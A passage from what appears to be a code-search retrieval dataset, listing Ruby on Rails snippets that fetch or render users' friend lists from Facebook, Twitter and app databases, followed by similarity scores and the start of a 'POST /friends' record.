"def friends\n begin\n if @@friends.size == 25 then @@friends.clear end # clear cache at 25 users\n unless @@friends[uid]\n @@friends[uid] = Set.new\n url = GRAPH_API[0] + uid + GRAPH_API[1] + oauth_token\n data = JSON.parse(open(url).read)\n data[\"friends\"][\"data\"].each { |h| @@friends[uid].add h[\"id\"] }\n @@friends[uid]\n else\n @@friends[uid]\n end\n rescue => e\n p e\n end\n end",
"def get_friends( id, page=0, type='json', login=@login, password=@password )\n http = Net::HTTP.new('twitter.com', 80)\n json_data = http.start do |http_inst|\n path = \"/statuses/friends/#{id}.#{type}?page=#{page}\"\n req = Net::HTTP::Get.new(path)\n \n # we make an HTTP basic auth by passing the\n # username and password\n req.basic_auth login, password\n \n resp, data = http_inst.request(req)\n data\n end\n hash_data = JSON.parse( json_data )\n \n end",
"def fb_friends\n graph = facebook()\n facebook().get_connection('me','friends') if graph\n end",
"def get_friends_list(user_id, *friend_ids)\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n friend_ids.each do |friend_id|\r\n friend_id = friend_id.to_s\r\n @context.validate_identifier(:friend_ids, friend_id)\r\n end\r\n @context.call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\r\n end",
"def requests_received\n friends = Friend.where(friend_id: params[:user_id], accepted: false)\n\t render json:friends\n end",
"def friendships_incoming(options = {})\n @req.get(\"/1.1/friendships/incoming.json\", options)\n end",
"def get_friends(id)\n facebook_cookies = Koala::Facebook::OAuth.new(Facebooker2.app_id, Facebooker2.secret).get_user_info_from_cookie(cookies)\n access_token = facebook_cookies[\"access_token\"]\n graph = Koala::Facebook::GraphAPI.new(access_token)\n friends = graph.get_connections(\"me\", \"friends\")\n\n user = User.find(id)\n\n friends.each do |friend|\n friend = User.find_by_host_id(friend[\"id\"])\n if (friend != nil && !user.friends.include?(friend))\n user.friends << friend\n end\n end\n\n user.last_update_friends = Date.today\n user.save\n end",
"def find_friend\n\n \t\tif params[:email].blank?\n \t\t\tlogger.info(\"[FriendUserController]find_friend == email is blank !!!\")\n \t\t\treturn render :json => {:success => false}\n \t\tend\n\t\n \t\temail = params[:email]\n\n \t\t#get a list of friends\n \t\tfriend_emails = get_friend_email(email)\n\n \t\t#get a list of block friends by email\n \t\tblock_mails = BlockUser.where(:email=>email).map(&:block_email)\n\n \t\tfriend_emails = friend_emails - block_mails\n \t\t\n \t\tlogger.info(\"[FriendUserController]find_friend == friends list =======>#{friend_emails}\")\n\n \t\treturn render :json => {:success => true,:friends=>friend_emails,:count=>friend_emails.size}.to_json\n \t\t\n \tend",
"def friend_requests\n get(\"users/requests\").requests\n end",
"def get_friends(req, opts)\n\tpages_of_friends = Array.new\n\ta_page_of_friends = get_a_page_of_friends(req, opts)\n\tpages_of_friends = Marshal.load(Marshal.dump(a_page_of_friends[\"data\"]))\t# Deep copy\n\twhile true do\n\t\tnext_page = a_page_of_friends[\"pagination\"][\"next\"]\n\t\tif next_page.nil?\n\t\t\tbreak\n\t\telse\n\t\t\ta_page_of_friends = get_a_page_of_friends(next_page, opts)\n\t\t\tpages_of_friends += Marshal.load(Marshal.dump(a_page_of_friends[\"data\"]))\n\t\tend\n\tend\n\tpages_of_friends\nend",
"def fb_friends\n fb_user = FbGraph::User.new('me', :access_token => self.access_token)\n fb_user.friends\n end",
"def index\n render json: set_photo(current_user.friends), status: :ok\n end",
"def show\n @friendsofuser = Friendsofuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @friendsofuser }\n end\n end",
"def friends\n @_friends ||=\n Rails.cache.fetch(\"accounts/#{self.id}/friends\", expires_in: Settings.cache.friends) do\n Set.new client.friend_ids\n end\n end",
"def pref_friends\n render :nothing => true and return unless request.post?\n\n @friends = []\n\n current_user.all_friends.each do |user|\n user_js = { :url => user.url, :fs => user.friendship_status, :href => user_url(user), :count => nil }\n\n lve = user.last_viewed_entries_count.to_i\n uec = user.entries_count_for(current_user)\n user_js[:count] = (uec - lve).abs if lve != uec\n @friends << user_js\n end\n\n render :json => @friends.to_json\n end",
"def twitter_friends(cursor=-1)\n tparams = { :cursor => cursor }\n url = \"http://twitter.com/statuses/friends.json?#{tparams.to_query}\"\n json = twitter_request_authenticated(url)\n nextc = json['next_cursor']\n users = json['users']\n if nextc != 0\n users = users + twitter_friends(nextc)\n end\n users\n end",
"def show\n user = User.find(params[:id])\n friendships = user.followers + user.followees\n render json: {user: user, friendships: friendships}\n end",
"def friends(options={})\n options = {\n :count => 5000,\n :offset => 0,\n :fields => \"domain\"\n }.merge(options)\n\n fetch_all_method_items(:fetch_friends, options)\n end",
"def friends(cookie)\n Person.find_kassi_users_by_ids(get_friend_ids(cookie))\n end",
"def show\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end",
"def index\n if current_user\n @friends = []\n current_user.friends.each do |friend|\n @friends.push(friend)\n end\n else\n @friends = []\n end\n render \"_index\"\n end",
"def match_friends\n me = User.find params[:id]\n respond_to do |format|\n format.json { \n friends = me.match_friends(params[:q], params[:channel]).collect { |friend|\n name = friend.handle\n name << \" (#{friend.email})\" unless params[:channel]\n { id: friend.id.to_s, name: name }\n }\n if friends.empty? \n if params[:q].match(Devise::email_regexp)\n # A \"valid\" address goes back paired with itself\n friends = [ { id: params[:q], name: params[:q] } ]\n end\n end\n render :json => friends\n }\n end\n end",
"def show\n @friendrequest = Friendrequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendrequest }\n end\n end",
"def index\n retrieve_and_develop_all_friendships\n end",
"def friends\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id]) \n @persons = @person.get_all_friends\n \n respond_to do |format|\n format.html # friends.html.erb\n format.xml { render :xml => @persons }\n end\n \n end",
"def friend_ids(query={})\n perform_get(\"/friends/ids.json\", :query => query)\nend",
"def get_friend_count\n response = twitter_user.request(:get, configatron.api_call_url + \"account/totals.json\")\n \n if response.is_a?(Net::HTTPSuccess)\n body = JSON.parse(response.body)\n body[\"friends\"]\n end\n end",
"def list_pending_friend_request\n @current_user = User.find(params[:user_id])\n render json: {\n pending_friend: @current_user.friend.where(status: :pending).map do |friend|\n {\n id: friend.friend,\n name: User.find(friend.friend).name,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n status: friend.status\n }\n end\n }, status: :ok\n end",
"def new\n @friendslist = Friendslist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendslist }\n end\n end",
"def friend_feed(options={})\n get('/feed', options)\n end",
"def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def friends(options={})\n limit = options[:limit] || 5000\n user.friends(:limit => limit)\n end",
"def set_friends\n # FIXME type: OAuthException, code: 2500, message: An active access token must be used to query information about the current user. [HTTP 400]\n begin\n @friends = $graph.get_connections(\"me\", \"friends\") unless $graph.nil?\n rescue Koala::Facebook::AuthenticationError => e\n logger.error e\n redirect_to signin_url\n# @friends = [{'name' => 'ERROR', 'id' => 0}]\n end\n end",
"def get_my_friends(token)\n @graph = Koala::Facebook::API.new(token)\n @friends = @graph.get_connections('me', 'friends')\n @ids = []\n @friends.each {|f| @ids << f['id']}\n @users = []\n User.all.each {|u| @users << u if @ids.include?(u.uid) }\n return @users\n end",
"def friends\n @_friends ||= Friendable.resource_class.where(:id => friend_ids)\n end",
"def index\n @friendsofusers = Friendsofuser.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friendsofusers }\n end\n end",
"def leaderboard\n get(\"/user/#{@user_id}/friends/leaderboard.json\")\n end",
"def show\n# @friendslist = Friendslist.find(params[:id])\n\n \n\n @friendslist = Array.new \n # if session[\"fb_access_token\"].present?\n\n @user = User.find(params[:id])\n\n graph = Koala::Facebook::GraphAPI.new(session[\"fb_access_token\"])\n @friendslist = graph.get_connections('me', \"friends\",:fields =>\"name,gender,email,relationship_status\")\n \n# graph.put_connections(\"me\", \"notes\", :subject => \"eShopVite\", :message => \"Message from eShopVite to register\")\n\n\n # if current_user\n # graph = Koala::Facebook::GraphAPI.new(@token)\n # @friendslist = graph.get_connections(\"me\", \"friends\")\n # end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendslist }\n end\n end",
"def friendslist()\n hash_list = SQLQuery.new.get('friends', ['user_id', 'user2_id']).where.open_.if('user_id', @id).or.if('user2_id', @id).close_.and.if('status', 0).send\n list = []\n hash_list.each do |hash|\n if hash['user_id'] == @id\n list << Friend.get(@id, hash['user2_id'])\n else\n list << Friend.get(@id, hash['user_id'])\n end\n end\n return Sorter.last_interaction(list)\n end",
"def all_friends\n friends friendships\n end"
] |
[
"0.8286829",
"0.8281937",
"0.7791277",
"0.76856893",
"0.761735",
"0.755928",
"0.7552669",
"0.7451954",
"0.7444342",
"0.74003625",
"0.7363718",
"0.7330685",
"0.7292527",
"0.7291051",
"0.72801137",
"0.7239079",
"0.7212772",
"0.71365535",
"0.7106033",
"0.7088684",
"0.7051569",
"0.70491654",
"0.7028075",
"0.70004827",
"0.6999184",
"0.6951989",
"0.6915451",
"0.69137865",
"0.68940544",
"0.68920535",
"0.6887775",
"0.6887666",
"0.688035",
"0.68748856",
"0.68747896",
"0.6871557",
"0.68693686",
"0.6855506",
"0.68346274",
"0.681604",
"0.68137336",
"0.67855537",
"0.6782862",
"0.67744577",
"0.67512316",
"0.6738522",
"0.6732992",
"0.6726185",
"0.6702065",
"0.6687883",
"0.6677381",
"0.6660726",
"0.6660022",
"0.66553086",
"0.6617072",
"0.6614292",
"0.6595335",
"0.65838647",
"0.6582511",
"0.6581886",
"0.65458566",
"0.6543431",
"0.6541895",
"0.6530692",
"0.6521326",
"0.6517391",
"0.6496719",
"0.64941496",
"0.6476891",
"0.6471072",
"0.6470119",
"0.64578426",
"0.64422727",
"0.641313",
"0.64122784",
"0.6407776",
"0.64058936",
"0.63988286",
"0.6397772",
"0.63949907",
"0.63818634",
"0.6373582",
"0.63723683",
"0.63620514",
"0.63574976",
"0.63574976",
"0.63549185",
"0.6348889",
"0.63387024",
"0.63359",
"0.63336384",
"0.63213235",
"0.6318611",
"0.6295262",
"0.6292188"
] |
0.6578425
|
64
|
GET /friends/1 GET /friends/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def friends(options={})\n get('/friends', options)\n end",
"def index\n @user = current_user\n render json: @user.friends\n end",
"def friends\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/list').friends\n end",
"def friends\n #get friends page\n #get json from friends page\n #parse\n []\n end",
"def get_friends\n results = []\n user = User.find_by_username(params[:username])\n friends = Friend.where(user_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id:friend.id, username: friend.username}\n end\n friends = Friend.where(friend_id: user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id:friend.id, username: friend.username}\n end\n render json:results\n end",
"def friends(id, options = {})\n get(\"users/#{id}/friends\").friends\n end",
"def my_friends\n @current_user = User.find(params[:user_id])\n render json: {\n friends: @current_user.friend.where(status: 'accept').map do |friend|\n {\n id: friend.id,\n name: User.find(friend.friend).name.upcase,\n avatar: \"#{request.base_url}#{Rails.application.routes.url_helpers.rails_blob_path(User.find(friend.friend).avatar, only_path: true)}\",\n date: friend.created_at\n }\n end\n }\n end",
"def show\n @user=current_user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user.friends}\n end\n end",
"def show_list_by_user_id\n @id = current_user.id\n @userfriendships = User.find(@id).friends\n if @userfriendships.empty?\n render json: {Error: \"No friends found\"}, status: 404\n else\n render json: @userfriendships.to_json(:only => [:id, :username])\n end\n end",
"def index\n @friends = Friend.all\n render json: @friends\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end",
"def friends(options={})\n perform_get(\"statuses/friends.#{Twitter.format}\", options)\n end",
"def get_friends\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n\n if params['sortBy'] == \"status_changed\"\n params['sortOrder'] ||= \"ascending\"\n @friends = @person.contacts.all\n @friends.sort!{|a,b| sort_by_status_message_changed(a, b, params['sortOrder']) }\n else\n @friends = @person.contacts\n end\n @friends.filter_paginate!(params[:per_page], params[:page]){true}\n @friends.collect! { |p| p.to_hash(@user, @client)}\n render_json :entry => @friends, :size => @friends.count_available and return\n end",
"def friends_list\n @user = User.find_by(email: params[:email])\n if @user.present?\n @friends = @user.friends.page(params[:page]).per(params[:per_page]).distinct\n render json: @friends, each_serializer: Api::V1::UsersSerializer, meta: pagination_dict(@friends)\n else\n render json: {message: 'User Not Found'}, status: 404\n end\n end",
"def show\n @friend = Friend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end",
"def friends(user_id=self.username)\n connection.get(\"/users/#{user_id}/friends\").body.users\n end",
"def get_my_friends\n remember_token = User.digest(cookies[:remember_token])\n current_user ||= User.find_by(remember_token: remember_token)\n p \"current_user\", current_user\n results = []\n # user = User.find_by_username(current_user.id)\n friends = Friend.where(user_id: current_user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.friend_id)\n results << {id: friend.id, username: friend.username, fullname: friend.first_name.capitalize + ' ' + friend.last_name.capitalize}\n end\n friends = Friend.where(friend_id: current_user.id, accepted: true)\n friends.each do |friend_rel|\n friend = User.find(friend_rel.user_id)\n results << {id: friend.id, username: friend.username, fullname: friend.first_name.capitalize + ' ' + friend.last_name.capitalize}\n end\n render json:results\n end",
"def index\n @friends = @member.friends\n end",
"def show\n render json: @user.suggest_friends\n end",
"def friends\n\t\t@user = User.includes(:owned_friendships => :friend, :sent_requests => :requestee,\n\t\t\t\t\t\t\t :received_requests => :requestor).find(params[:id])\n\tend",
"def friends\n @start = Time.now\n @users = current_user.friends.order(:name).page params[:page]\n\n respond_to do |format|\n format.html # friends.html.erb\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n end",
"def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def friends(user = nil, params = {})\n args = [user, params]\n get path_from_args('statuses/friends', args), params_from_args(args)\n end",
"def friends\n response = request(:get, 'prefs/friends.json', nil, https_connection)\n body = response[:body]\n friends = body[0][:data][:children]\n\n friends.map { |friend| OpenStruct.new(friend) }\n end",
"def friend_requests\n friends = current_user.friends.where accepted: false\n profiles = friends.map{ |friend| Profile.find(friend.profile_id)}\n render json: profiles\n end",
"def index\n @friends = current_user.friends\n end",
"def friendships_show(options = {})\n @req.get(\"/1.1/friendships/show.json\", options)\n end",
"def get_friends(cookie)\n \n # rescue is commented out to spot the error cases more clearly\n \n # begin\n friend_hash = PersonConnection.get_friends(self.id, cookie)\n # rescue RestClient::ResourceNotFound => e\n # #Could not find person with that id in COS Database!\n # return nil\n # end\n \n return friend_hash\n end",
"def show\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end",
"def friends(user, options={})\n get(:standard, {:method => \"user.getFriends\", :user => user}.merge(options))\n end",
"def index\n @friends = current_user.friend\n end",
"def show\n @friendrequest = Friendrequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendrequest }\n end\n end",
"def index\n current_user = get_current_user\n @users = current_user.friends_list\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"def index\n @girlfriends = Girlfriend.all\n render json: @girlfriends, status: 200 \n end",
"def index\n @friends = @user.friends.paginate(:page => params[:page],\n :per_page => RASTER_PER_PAGE)\n end",
"def show\n @friendsofuser = Friendsofuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @friendsofuser }\n end\n end",
"def list\n @emails = Friend.friends(params[:email])\n\n unless @emails.empty?\n render json:{\n success: true,\n friends: @emails,\n count: @emails.count\n }\n else\n render json: {\n success: false,\n friends: [],\n count: 0\n }\n end\n end",
"def friends\n @friends = response[\"friends\"]\n @friends[\"groups\"].each do |group|\n group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}\n end\n @friends\n end",
"def index\n @relationships = current_user.friends\n end",
"def get_other_friends(fbid)\n graph_url = \"https://graph.facebook.com/#{fbid}/friends?access_token=TOKEN\"\n parsed_resp = query_graph(graph_url)\n friends = parsed_resp[\"data\"]\n return friends\nend",
"def get\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\t\t\t\n\t\t\trender json: {friends: user.friends.each {|f| f.password = nil}}\n\t\tend\n\tend",
"def friends_timeline(params = {})\n get \"statuses/friends_timeline\", params\n end",
"def mutual_friends\n if @user and @friend\n @mutual_friends = User.mutual_friends_list(@user, @friend).page(params[:page]).per(params[:per_page]).distinct\n render json: @mutual_friends, each_serializer: Api::V1::UsersSerializer, meta: pagination_dict(@mutual_friends)\n else\n render json: {message: 'No Common Friends Exists'}, status: 404\n end\n end",
"def full_friends options={}\n client.user_friends(id, options)\n end",
"def get_friends( id, page=0, type='json', login=@login, password=@password )\n http = Net::HTTP.new('twitter.com', 80)\n json_data = http.start do |http_inst|\n path = \"/statuses/friends/#{id}.#{type}?page=#{page}\"\n req = Net::HTTP::Get.new(path)\n \n # we make an HTTP basic auth by passing the\n # username and password\n req.basic_auth login, password\n \n resp, data = http_inst.request(req)\n data\n end\n hash_data = JSON.parse( json_data )\n \n end",
"def friend_requests\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/friends/waiting-requests').friends\n end",
"def friends\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id]) \n @persons = @person.get_all_friends\n \n respond_to do |format|\n format.html # friends.html.erb\n format.xml { render :xml => @persons }\n end\n \n end",
"def get_a_page_of_friends(req, opts)\n\tfriends_got = JSON.parse(Net::HTTP.get(URI(\"#{req}&access_token=#{opts[:token]}\")))\n\tunless friends_got[\"error\"].nil?\n\t\thandle_error friends_got[\"error\"]\n\tend\n\tif opts[:verbose]\n\t\tfriends_got[\"data\"].each do |f|\n\t\t\tprint \"#{f[\"display_name\"]}, \"\n\t\tend\n\tend\n\tfriends_got\nend",
"def index\n render json: set_photo(current_user.friends), status: :ok\n end",
"def index\n @friends = Friend.all\n end",
"def index\n @friends = Friend.all\n end",
"def index\n @friends = Friend.all\n end",
"def index\n @friends = Friend.all\n end",
"def index\n @friends = Friend.all\n end",
"def index\n @friends = Friend.all\n end",
"def new\n @friendslist = Friendslist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @friendslist }\n end\n end",
"def show\n user = User.find(params[:id])\n friendships = user.followers + user.followees\n render json: {user: user, friendships: friendships}\n end",
"def friends\n begin\n if @@friends.size == 25 then @@friends.clear end # clear cache at 25 users\n unless @@friends[uid]\n @@friends[uid] = Set.new\n url = GRAPH_API[0] + uid + GRAPH_API[1] + oauth_token\n data = JSON.parse(open(url).read)\n data[\"friends\"][\"data\"].each { |h| @@friends[uid].add h[\"id\"] }\n @@friends[uid]\n else\n @@friends[uid]\n end\n rescue => e\n p e\n end\n end",
"def find_friend_by_username\n begin\n @friend_id = User.find_by(username: params[:username]).id\n rescue\n render json: {error: \"Friend not found\"}, status: 404\n end\n end",
"def show\n @friend = Friend.find(params[:id])\n respond_with(@friend)\n end",
"def friends\n @friends = []\n if current_user\n @friends = current_user.friends(graph).order(\"room_id ASC \")\n end\n respond_to do |format|\n format.js { render :partial => \"friends\", :locals => { :friends => @friends } }\n end\n end",
"def get_friend_id \n uri = \"https://api.twitter.com/1/friends/ids.json\" \n \n #http request for friend search start\n req = Typhoeus::Request.new(uri,\n :method =>\"get\",\n :params =>{:cursor=>\"-1\", :screen_name=>crt_user.handler}) \n #sign_request(req,uri)\n hydra = Typhoeus::Hydra.new\n hydra.queue(req)\n hydra.run\n JSON.parse(req.response.body)[\"ids\"]\n end",
"def get_friends\n friends = get(\"friends\")\n\n # [id, name, phone_number, klass]\n if @starred_contacts.length == 0\n Logger.d(\"Starred contacts length was found to be 0, initiating a fetch\")\n t = Thread.start do\n @starred_contacts = ContactsSync.find_all_starred_contacts(@context)\n Logger.d(\"#{@starred_contacts.length} starred contacts are available. Requesting a UI refresh\")\n request_ui_refresh\n end # Thread ends\n end\n\n return friends + @starred_contacts\n end",
"def find_friend\n\n \t\tif params[:email].blank?\n \t\t\tlogger.info(\"[FriendUserController]find_friend == email is blank !!!\")\n \t\t\treturn render :json => {:success => false}\n \t\tend\n\t\n \t\temail = params[:email]\n\n \t\t#get a list of friends\n \t\tfriend_emails = get_friend_email(email)\n\n \t\t#get a list of block friends by email\n \t\tblock_mails = BlockUser.where(:email=>email).map(&:block_email)\n\n \t\tfriend_emails = friend_emails - block_mails\n \t\t\n \t\tlogger.info(\"[FriendUserController]find_friend == friends list =======>#{friend_emails}\")\n\n \t\treturn render :json => {:success => true,:friends=>friend_emails,:count=>friend_emails.size}.to_json\n \t\t\n \tend",
"def get_friends(id)\n facebook_cookies = Koala::Facebook::OAuth.new(Facebooker2.app_id, Facebooker2.secret).get_user_info_from_cookie(cookies)\n access_token = facebook_cookies[\"access_token\"]\n graph = Koala::Facebook::GraphAPI.new(access_token)\n friends = graph.get_connections(\"me\", \"friends\")\n\n user = User.find(id)\n\n friends.each do |friend|\n friend = User.find_by_host_id(friend[\"id\"])\n if (friend != nil && !user.friends.include?(friend))\n user.friends << friend\n end\n end\n\n user.last_update_friends = Date.today\n user.save\n end",
"def get_friends\n graph = Koala::Facebook::API.new(@access_token)\n\n # Get friends from Facebook and convert them into a Friend object\n friends = graph.get_connections(\"me\", \"friends\").collect do |friend|\n Friend.new(:id => friend[\"id\"], :name => friend[\"name\"])\n end\n\n # Batch request friend pictures with respect to BATCH_API_LIMIT\n pictures = Array.new\n friends.each_slice(BATCH_API_LIMIT) do |friends_slice|\n batch_pictures = graph.batch do |batch|\n friends_slice.each { |friend| batch.get_picture(friend.id, :type => \"large\") }\n end\n pictures.concat(batch_pictures)\n end\n\n # Zip through the friends and pictures to produce updated Friend\n # objects.\n friends.zip(pictures).collect do |pair|\n friend = pair.first\n picture = pair.last\n\n friend.picture = pair.last\n\n friend\n end\n end",
"def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def index\n @friendships = Friendship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @friendships }\n end\n end",
"def friends(user=nil)\n\t\tself.twitagent.friends(user)\n\trescue => err\n\t\tRAILS_DEFAULT_LOGGER.error \"Failed to get friends via OAuth for #{current_user.inspect}\"\n\t\tflash[:error] = \"Twitter API failure (getting friends)\"\n\t\treturn\n\tend",
"def get_friends_list(user_id, *friend_ids)\n user_id = user_id.to_s\n validate_identifier(:user_id, user_id)\n friend_ids.each do |friend_id|\n friend_id = friend_id.to_s\n validate_identifier(:friend_ids, friend_id)\n end\n call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\n end",
"def list\n user = User.find_by_email params[:email]\n if user\n friendship = Friendship.where user: user\n render json: {success: true, friends: friendship.map {|f| f.friend.email}, count: friendship.count}\n else\n render json: {message: \"email not found\"}\n end\n end",
"def friend_ids(query={})\n perform_get(\"/friends/ids.json\", :query => query)\nend",
"def index\n @friends1s = Friends1.all\n end",
"def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end",
"def show\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friendship }\n end\n end",
"def friends(cookie)\n Person.find_kassi_users_by_ids(get_friend_ids(cookie))\n end",
"def leaderboard\n get(\"/user/#{@user_id}/friends/leaderboard.json\")\n end",
"def index\n retrieve_and_develop_all_friendships\n end",
"def get_friends_list(user_id, *friend_ids)\r\n user_id = user_id.to_s\r\n @context.validate_identifier(:user_id, user_id)\r\n friend_ids.each do |friend_id|\r\n friend_id = friend_id.to_s\r\n @context.validate_identifier(:friend_ids, friend_id)\r\n end\r\n @context.call_myspace_api(:friends_list, :user_id => user_id, :friend_ids => friend_ids.join(';'), :v1_json => true)\r\n end",
"def index\n if current_user\n @friends = []\n current_user.friends.each do |friend|\n @friends.push(friend)\n end\n else\n @friends = []\n end\n render \"_index\"\n end",
"def friend\n UserRepository.find(friend_id)\n end",
"def list\n oauth_check_authorization\n \n @friends = facebook_client.friends_with_pictures\n end",
"def new\n @friend = current_user_or_guest.friends.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @friend }\n format.json { render json: @friend }\n end\n end",
"def index\n render_index @user.friends\n end",
"def requests_received\n friends = Friend.where(friend_id: params[:user_id], accepted: false)\n\t render json:friends\n end",
"def friend(note = nil)\n name = read_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def match_friends\n me = User.find params[:id]\n respond_to do |format|\n format.json { \n friends = me.match_friends(params[:q], params[:channel]).collect { |friend|\n name = friend.handle\n name << \" (#{friend.email})\" unless params[:channel]\n { id: friend.id.to_s, name: name }\n }\n if friends.empty? \n if params[:q].match(Devise::email_regexp)\n # A \"valid\" address goes back paired with itself\n friends = [ { id: params[:q], name: params[:q] } ]\n end\n end\n render :json => friends\n }\n end\n end",
"def friends\n @_friends ||=\n Rails.cache.fetch(\"accounts/#{self.id}/friends\", expires_in: Settings.cache.friends) do\n Set.new client.friend_ids\n end\n end",
"def index\n @friendships = @user.friendships\n\n respond_to do |format|\n format.html # index.rhtml\n end\n end",
"def index\n @friendsofusers = Friendsofuser.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friendsofusers }\n end\n end",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def friend(note = nil)\n name = get_attribute(:name)\n body = JSON.generate(note ? { name: name, note: note } : { name: name })\n @client.request(:put, \"/api/v1/me/friends/#{name}\", body: body)\n end",
"def friends_timeline(options={})\n perform_get(\"statuses/friends_timeline.#{Twitter.format}\", options)\n end",
"def index\n @friends = Friend.all(:conditions=>{:created_by=>current_user.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friends }\n end\n end",
"def get_friend_count\n response = twitter_user.request(:get, configatron.api_call_url + \"account/totals.json\")\n \n if response.is_a?(Net::HTTPSuccess)\n body = JSON.parse(response.body)\n body[\"friends\"]\n end\n end",
"def friend\n if params.include?(:id)\n @user.friends += [User.find(params[:id])]\n elsif params.include?(:username)\n @user.friends += [User.find_by(username: params[:username])]\n end\n redirect_to root_path\n end",
"def get_friends\n if current_user.friends.count == 0\n\t return\n\t end\n\t if session[:selected_category] == \"all\"\n\t @friends = current_user.friends\n\t else\n category = Category.includes(:users).find(session[:selected_category])\n @friends = category.users.where(\"users.id IN (?)\", current_user.friends)\n end\n end",
"def send_friend_request(id)\n get(\"users/#{id}\").user\n end",
"def show\n @user = User.find(params[:id])\n if @user.phone_number != nil\n\n @user = getUserFriends(@user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n else\n redirect_to :action=>:edit, :id => @user.id\n end\n end",
"def fetch_facebook_friends\n\t\treturn fetch_facebook_friends_or_subscribers_or_subscribedto(\"friends\")\n\tend",
"def get_friends(auth = auth_http())\n TwBot.friends_of(auth)\n end"
] |
[
"0.76709884",
"0.7604071",
"0.7600863",
"0.74548936",
"0.7365434",
"0.73384774",
"0.73283494",
"0.73141056",
"0.73036456",
"0.7235156",
"0.7219719",
"0.7216787",
"0.7163809",
"0.7131452",
"0.70871836",
"0.70085126",
"0.69397676",
"0.6919202",
"0.6908836",
"0.69050354",
"0.69024783",
"0.689683",
"0.6877914",
"0.686014",
"0.68587494",
"0.685429",
"0.6837924",
"0.6833314",
"0.6816438",
"0.68109286",
"0.679779",
"0.6789358",
"0.6784481",
"0.6753627",
"0.6751614",
"0.67162794",
"0.66923016",
"0.66875905",
"0.66726255",
"0.6671342",
"0.6660217",
"0.66468585",
"0.6634872",
"0.66298693",
"0.66103065",
"0.6582316",
"0.6569546",
"0.6562083",
"0.65608156",
"0.6555007",
"0.6555007",
"0.6555007",
"0.6555007",
"0.6555007",
"0.6555007",
"0.6549548",
"0.6548707",
"0.65481365",
"0.65341413",
"0.6532755",
"0.65296566",
"0.6514302",
"0.6495987",
"0.6491891",
"0.6491775",
"0.6491584",
"0.64884716",
"0.64884716",
"0.6486362",
"0.6483502",
"0.64766157",
"0.647569",
"0.6470767",
"0.64497054",
"0.64497054",
"0.64235663",
"0.64035195",
"0.6393819",
"0.63914496",
"0.6384649",
"0.63833743",
"0.63733107",
"0.6373049",
"0.6367752",
"0.6356849",
"0.635445",
"0.63521194",
"0.6351413",
"0.63295233",
"0.632108",
"0.63201314",
"0.63201314",
"0.6317478",
"0.6306462",
"0.62937045",
"0.6286829",
"0.62828755",
"0.6277072",
"0.62691754",
"0.62670827",
"0.6264578"
] |
0.0
|
-1
|
POST /friends POST /friends.json
|
def create
